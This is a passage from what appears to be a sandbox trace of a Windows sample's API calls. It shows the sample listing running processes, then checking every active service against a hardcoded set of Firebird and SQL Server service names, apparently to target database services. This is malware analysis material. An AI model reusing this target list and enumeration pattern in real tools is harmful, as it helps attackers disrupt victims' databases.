lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0111.406] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0111.406] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0111.407] lstrlenW (lpString="arc obviously.exe") returned 17 [0111.407] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0111.408] lstrlenW (lpString="scholars.exe") returned 12 [0111.408] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0111.409] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0111.409] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0111.410] lstrlenW (lpString="organizing.exe") returned 14 [0111.431] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0111.432] lstrlenW (lpString="campus.exe") returned 10 [0111.432] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0111.432] lstrlenW (lpString="mug.exe") returned 7 [0111.432] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0111.433] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0111.433] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0111.434] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0111.434] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0111.434] lstrlenW (lpString="powers mixture.exe") returned 18 [0111.434] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0111.435] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0111.435] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0111.436] lstrlenW (lpString="bachelor.exe") returned 12 [0111.436] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0111.437] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0111.437] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0111.437] lstrlenW (lpString="indication wage paying.exe") returned 26 [0111.437] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0111.438] lstrlenW (lpString="thee pub emission.exe") returned 21 [0111.438] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.439] lstrlenW (lpString="dllhost.exe") returned 11 [0111.439] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0111.440] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0111.440] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0111.441] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0111.441] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0111.442] lstrlenW (lpString="upgrading.exe") returned 13 [0111.442] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0111.443] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0111.443] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0111.444] lstrlenW (lpString="russell.exe") returned 11 [0111.444] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.445] lstrlenW (lpString="conhost.exe") returned 11 [0111.445] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.446] lstrlenW (lpString="conhost.exe") returned 11 [0111.446] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.447] lstrlenW (lpString="svchost.exe") returned 11 [0111.447] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0111.448] lstrlenW (lpString="1csrss.exe") returned 10 [0111.448] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0111.449] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0111.449] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.450] lstrlenW (lpString="conhost.exe") returned 11 [0111.450] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.451] lstrlenW (lpString="cmd.exe") returned 7 [0111.451] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.452] lstrlenW (lpString="conhost.exe") returned 11 [0111.452] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.453] lstrlenW (lpString="svchost.exe") returned 11 [0111.453] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0111.454] lstrlenW (lpString="mode.com") returned 8 [0111.454] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0111.455] CloseHandle (hObject=0x31c) returned 1 [0111.455] Sleep (dwMilliseconds=0x1f4) [0112.151] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eedb8 [0112.151] EnumServicesStatusExW (in: hSCManager=0x5eedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0112.152] GetLastError () returned 0xea [0112.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x6110e0 [0112.152] EnumServicesStatusExW (in: hSCManager=0x5eedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6110e0, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6110e0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0112.153] CloseServiceHandle (hSCObject=0x5eedb8) returned 1 [0112.153] lstrlenW (lpString="Appinfo") returned 7 [0112.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0112.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0112.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0112.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0112.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0112.153] lstrlenW (lpString="AppXSvc") returned 7 [0112.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0112.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0112.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0112.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0112.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0112.153] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0112.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.154] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0112.154] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0112.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0112.154] lstrlenW (lpString="Audiosrv") returned 8 [0112.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0112.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0112.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0112.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0112.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0112.154] lstrlenW (lpString="BFE") returned 3 [0112.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0112.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0112.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0112.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0112.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0112.154] lstrlenW (lpString="BITS") returned 4 [0112.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0112.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0112.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0112.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0112.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0112.154] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0112.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0112.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0112.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0112.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0112.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0112.155] lstrlenW (lpString="CDPSvc") returned 6 [0112.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0112.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0112.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0112.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0112.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0112.155] lstrlenW (lpString="ClickToRunSvc") returned 13 [0112.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0112.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0112.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0112.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0112.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0112.155] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0112.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0112.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0112.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0112.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0112.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0112.155] lstrlenW (lpString="CryptSvc") returned 8 [0112.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0112.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0112.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0112.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0112.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0112.155] lstrlenW (lpString="DcomLaunch") returned 10 [0112.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0112.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0112.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0112.156] lstrlenW (lpString="DeviceAssociationService") returned 24 [0112.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0112.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0112.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0112.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0112.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0112.156] lstrlenW (lpString="Dhcp") returned 4 [0112.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0112.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0112.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0112.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0112.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0112.156] lstrlenW (lpString="Dnscache") returned 8 [0112.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0112.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0112.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0112.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0112.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0112.156] lstrlenW (lpString="DoSvc") returned 5 [0112.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0112.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0112.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0112.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0112.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0112.157] lstrlenW (lpString="DPS") returned 3 [0112.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0112.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0112.157] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0112.157] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0112.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0112.157] lstrlenW (lpString="DusmSvc") returned 7 [0112.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0112.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0112.157] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0112.157] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0112.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0112.157] lstrlenW (lpString="EventLog") returned 8 [0112.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0112.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0112.157] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0112.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0112.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0112.157] lstrlenW (lpString="EventSystem") returned 11 [0112.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0112.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0112.157] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0112.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0112.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0112.157] lstrlenW (lpString="FontCache") returned 9 [0112.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0112.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0112.158] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0112.158] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0112.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0112.158] lstrlenW (lpString="gpsvc") returned 5 [0112.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0112.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0112.158] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0112.158] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0112.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0112.158] lstrlenW (lpString="iphlpsvc") returned 8 [0112.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.158] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0112.158] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0112.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0112.158] lstrlenW (lpString="KeyIso") returned 6 [0112.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0112.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0112.158] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0112.158] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0112.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0112.158] lstrlenW (lpString="LanmanServer") returned 12 [0112.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0112.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0112.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0112.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0112.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0112.159] lstrlenW (lpString="LanmanWorkstation") returned 17 [0112.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.159] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0112.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0112.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0112.159] lstrlenW (lpString="lfsvc") returned 5 [0112.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0112.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0112.159] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0112.159] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0112.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0112.159] lstrlenW (lpString="lmhosts") returned 7 [0112.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0112.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0112.159] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0112.159] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0112.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0112.159] lstrlenW (lpString="LSM") returned 3 [0112.159] lstrcmpiW 